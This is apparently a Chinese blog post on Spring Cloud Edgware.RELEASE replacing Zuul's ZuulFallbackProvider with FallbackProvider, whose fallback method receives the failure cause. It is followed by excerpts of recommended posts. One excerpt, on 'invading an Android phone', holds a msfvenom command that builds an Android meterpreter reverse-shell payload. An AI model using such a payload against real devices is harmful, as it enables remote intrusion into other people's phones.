Edgware.RELEASE以前的版本中,zuul网关中有一个ZuulFallbackProvider接口,代码如下:

public interface ZuulFallbackProvider {

	/**
* The route this fallback will be used for.
* @return The route the fallback will be used for.
*/
public String getRoute(); /**
* Provides a fallback response.
* @return The fallback response.
*/
public ClientHttpResponse fallbackResponse();
}

其中fallbackResponse()方法允许程序员在回退处理中重建输出对象,通常是输出“xxx服务不可用,请稍候重试”之类的提示,但是无法捕获到更详细的出错信息,排错很不方便。

估计spring-cloud团队意识到了这个问题,在Edgware.RELEASE中将该接口标记为过时@Deprecated,同时在它下面派生出了一个新接口:

public interface FallbackProvider extends ZuulFallbackProvider {

	/**
* Provides a fallback response based on the cause of the failed execution.
*
* @param cause cause of the main method failure
* @return the fallback response
*/
ClientHttpResponse fallbackResponse(Throwable cause);
}

提供了一个新的重载版本,把异常信息也当作参数传进来了,这样就友好多了,在处理回退时可以输出更详细的信息。参考下面的代码:

if (cause != null && cause.getCause() != null) {
String reason = cause.getCause().getMessage();
//输出详细的回退原因
...
}

spring cloud:Edgware.RELEASE版本中zuul回退方法的变化的更多相关文章

  1. spring cloud:Edgware.RELEASE版本hystrix超时新坑

    升级到Edgware.RELEASE发现,zuul中不管如何设置hystrix的超时时间均不起作用,仍然是默认的1000ms.  降回低版本后正常,但是低版本的fallback方法中,又拿不到详细异常 ...

  2. Spring Cloud Edgware Release Notes

    Spring Cloud Edgware builds on Spring Boot 1.5.x. Renamed starters A number of starters did not foll ...

  3. Spring Cloud Edgware之后版本 Zipkin+Kafka整合

    zipkin服务器端 1.依赖 <!-- zipkin server --> <dependency> <groupId>io.zipkin.java</gr ...

  4. spring cloud 2.x版本 Zuul路由网关教程

    前言 本文采用Spring cloud本文为2.1.8RELEASE,version=Greenwich.SR3 本文基于前两篇文章eureka-server.eureka-client.eureka ...

  5. spring cloud 2.x版本 Gateway路由网关教程

    前言 本文采用Spring cloud本文为2.1.8RELEASE,version=Greenwich.SR3 本文基于前两篇文章eureka-server.eureka-client.eureka ...

  6. 玩转Spring Cloud之API网关(zuul)

    最近因为工作原因,一直没有空写文章,所以都是边忙项目,边利用空闲时间,周末时间学习总结,最终在下班回家后加班加点写完本篇文章,若有不足之处,还请谅解,谢谢! 本文内容导航: 一.网关的作用 二.网关与 ...

  7. 史上最简单的SpringCloud教程 | 第九篇: 服务链路追踪(Spring Cloud Sleuth)(Finchley版本)

    转载请标明出处: 原文首发于:>https://www.fangzhipeng.com/springcloud/2018/08/30/sc-f9-sleuth/ 本文出自方志朋的博客 这篇文章主 ...

  8. spring cloud 2.x版本 Ribbon服务发现教程(内含集成Hystrix熔断机制)

    本文采用Spring cloud本文为2.1.8RELEASE,version=Greenwich.SR3 前言 本文基于前两篇文章eureka-server和eureka-client的实现. 参考 ...

  9. spring cloud 2.x版本 Eureka Server服务注册中心教程

    本文采用Spring cloud本文为2.1.8RELEASE,version=Greenwich.SR3 1.创建服务注册中心 1.1 新建Spring boot工程:eureka-server 1 ...

随机推荐

  1. Python-html css 盒模型

    <!DOCTYPE html><html><head> <meta charset="UTF-8"> <title>ht ...

  2. pytorch实现花朵数据集读取

    import os from PIL import Image from torch.utils import data import numpy as np from torchvision imp ...

  3. MSF初体验—入侵安卓手机

    1.生成apk程序 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 R > apk.apk ...

  4. three.js 相机camera位置属性设置详解

    开始很懵逼,完全不能理解,有个position,还要up和lookAt干嘛. [黑人问号脸❓❓❓] 既然是位置属性不明白,那默认其它属性都懂了. 上坐标轴: 先来第一个position属性,可以设置x ...

  5. 性能测试十:jmeter进阶之webService与socket

    一.webService 1.添加http post请求2.添加header:Conent-type:text/xml Post请求的body中填写<soapenv:Envelope  xmln ...

  6. canvas绘制简易动画

    在canvas画布中制作动画相对来说很简单,实际上就是不断变化的坐标.擦除.重绘的过程 1.使用setInterval方法设置动画的间隔时间. setInterval(code,millisec) s ...

  7. android Unable to inflate view tag without class attribute

    定位 到 问题 是 布局文件出错,   Unable to inflate view tag without class attribute 错误 原因 <view android:layout ...

  8. Windows系统下oracle数据库每天定时备份

    第一步:建立备份脚本oraclebackup.bat 首先建立一个备份bat文件,在D盘下新建备份目录oraclebackup,将oracle安装目录下的EXP.EXE复制到此目录下,再新建一个文本文 ...

  9. SpringBank 开发日志 Mybatis 使用redis 作为二级缓存时,无法通过cacheEnabled=false 将其关闭

    <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE configuration PUBLIC ...

  10. hello C#

    一:程序 1.新建项目 2.修改名称位置 需要选择控制台应用程序. 3.项目新建后的效果 4.书写第一个程序 //下面是引用命名空间 using System; using System.Collec ...